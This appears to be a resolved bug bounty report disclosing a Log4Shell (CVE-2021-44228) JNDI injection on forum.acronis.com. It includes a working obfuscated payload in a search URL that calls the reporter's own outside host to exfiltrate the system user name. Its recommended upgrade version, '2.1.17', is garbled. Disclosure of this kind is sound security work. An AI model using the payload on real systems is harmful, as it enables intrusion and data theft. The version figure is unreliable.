[forum.acronis.com] JNDI Code Injection due an outdated log4j component
Critical
A
Acronis
Submitted None
Actions:
Reported by
godiego
Vulnerability Details
Technical details and impact analysis
## Summary
Hi team,
It seems that the machine is affected by the latest CVE-2021-44228 which grants any authenticated user command execution. The vulnerability affects the remote asset forum.acronis.com and this issue allows to remote attackers to perfom Remote Code Execution via JNDI exfiltration.
## Steps To Reproduce
Vulnerable request is: `https://forum.acronis.com/search?s=${j${main:\k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-04363f1f3427b48.test3.ggdd.co.uk/}`.
Which generates a pingback exfiltrating the information to my controlled server `ggdd.co.uk`:
{F1551515}
We can see that the system username is `solr`.
## Recommendations
Upgrade Log4j to latest version, 2.1.17.
## Impact
Remote OS command injection via JNDI queries.
Related CVEs
Associated Common Vulnerabilities and Exposures
CVE-2021-44228
UNKNOWN
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from …
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
OS Command Injection